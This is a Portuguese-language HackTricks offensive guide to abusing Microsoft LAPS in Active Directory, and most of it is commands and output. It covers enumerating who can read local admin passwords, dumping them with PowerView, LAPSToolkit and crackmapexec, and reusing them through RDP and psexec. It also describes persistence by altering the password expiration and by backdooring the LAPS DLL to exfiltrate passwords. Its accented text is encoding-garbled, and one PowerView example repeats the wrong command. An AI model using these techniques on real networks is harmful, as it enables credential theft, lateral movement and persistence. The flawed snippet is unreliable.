LAPS
Reading time: 6 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.
InformaçÔes Båsicas
Local Administrator Password Solution (LAPS) Ă© uma ferramenta usada para gerenciar um sistema onde senhas de administrador, que sĂŁo Ășnicas, aleatĂłrias e frequentemente alteradas, sĂŁo aplicadas a computadores associados ao domĂnio. Essas senhas sĂŁo armazenadas de forma segura dentro do Active Directory e sĂŁo acessĂveis apenas a usuĂĄrios que receberam permissĂŁo atravĂ©s de Listas de Controle de Acesso (ACLs). A segurança das transmissĂ”es de senha do cliente para o servidor Ă© garantida pelo uso de Kerberos versĂŁo 5 e Advanced Encryption Standard (AES).
Nos objetos de computador do domĂnio, a implementação do LAPS resulta na adição de dois novos atributos: ms-mcs-AdmPwd
e ms-mcs-AdmPwdExpirationTime
. Esses atributos armazenam a senha de administrador em texto simples e seu tempo de expiração, respectivamente.
Verifique se ativado
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
dir "C:\Program Files\LAPS\CSE"
# Check if that folder exists and contains AdmPwd.dll
# Find GPOs that have "LAPS" or some other descriptive term in the name
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname
Acesso Ă Senha LAPS
VocĂȘ pode baixar a polĂtica LAPS bruta de \\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol
e entĂŁo usar Parse-PolFile
do pacote GPRegistryPolicyParser para converter este arquivo em um formato legĂvel por humanos.
Além disso, os cmdlets nativos do PowerShell LAPS podem ser usados se estiverem instalados em uma måquina à qual temos acesso:
Get-Command *AdmPwd*
CommandType Name Version Source
----------- ---- ------- ------
Cmdlet Find-AdmPwdExtendedRights 5.0.0.0 AdmPwd.PS
Cmdlet Get-AdmPwdPassword 5.0.0.0 AdmPwd.PS
Cmdlet Reset-AdmPwdPassword 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdAuditing 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdComputerSelfPermission 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdReadPasswordPermission 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdResetPasswordPermission 5.0.0.0 AdmPwd.PS
Cmdlet Update-AdmPwdADSchema 5.0.0.0 AdmPwd.PS
# List who can read LAPS password of the given OU
Find-AdmPwdExtendedRights -Identity Workstations | fl
# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
PowerView tambĂ©m pode ser usado para descobrir quem pode ler a senha e lĂȘ-la:
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
# Read the password
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
LAPSToolkit
O LAPSToolkit facilita a enumeração do LAPS com vårias funçÔes.
Uma delas Ă© a anĂĄlise de ExtendedRights
para todos os computadores com LAPS habilitado. Isso mostrarĂĄ grupos especificamente delegados para ler senhas LAPS, que muitas vezes sĂŁo usuĂĄrios em grupos protegidos.
Uma conta que juntou um computador a um domĂnio recebe All Extended Rights
sobre aquele host, e esse direito dĂĄ Ă conta a capacidade de ler senhas. A enumeração pode mostrar uma conta de usuĂĄrio que pode ler a senha LAPS em um host. Isso pode nos ajudar a mirar usuĂĄrios especĂficos do AD que podem ler senhas LAPS.
# Get groups that can read passwords
Find-LAPSDelegatedGroups
OrgUnit Delegated Groups
------- ----------------
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain Admins
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin
# Checks the rights on each computer with LAPS enabled for any groups
# with read access and users with "All Extended Rights"
Find-AdmPwdExtendedRights
ComputerName Identity Reason
------------ -------- ------
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins Delegated
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated
# Get computers with LAPS enabled, expirations time and the password (if you have access)
Get-LAPSComputers
ComputerName Password Expiration
------------ -------- ----------
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
Dumpando Senhas LAPS Com Crackmapexec
Se nĂŁo houver acesso a um powershell, vocĂȘ pode abusar desse privilĂ©gio remotamente atravĂ©s do LDAP usando
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
Isso irĂĄ despejar todas as senhas que o usuĂĄrio pode ler, permitindo que vocĂȘ obtenha uma melhor posição com um usuĂĄrio diferente.
** Usando a Senha LAPS **
xfreerdp /v:192.168.1.1:3389 /u:Administrator
Password: 2Z@Ae)7!{9#Cq
python psexec.py Administrator@web.example.com
Password: 2Z@Ae)7!{9#Cq
PersistĂȘncia LAPS
Data de Expiração
Uma vez administrador, Ă© possĂvel obter as senhas e prevenir que uma mĂĄquina atualize sua senha definindo a data de expiração para o futuro.
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
# Change expiration time
## It's needed SYSTEM on the computer
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
warning
A senha ainda serĂĄ redefinida se um admin usar o Reset-AdmPwdPassword
cmdlet; ou se NĂŁo permitir que o tempo de expiração da senha seja maior do que o exigido pela polĂtica estiver habilitado na GPO do LAPS.
Backdoor
O cĂłdigo-fonte original do LAPS pode ser encontrado aqui, portanto, Ă© possĂvel colocar uma backdoor no cĂłdigo (dentro do mĂ©todo Get-AdmPwdPassword
em Main/AdmPwd.PS/Main.cs
, por exemplo) que de alguma forma exfiltrarĂĄ novas senhas ou as armazenarĂĄ em algum lugar.
Em seguida, basta compilar o novo AdmPwd.PS.dll
e enviĂĄ-lo para a mĂĄquina em C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll
(e alterar o horårio de modificação).
ReferĂȘncias
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.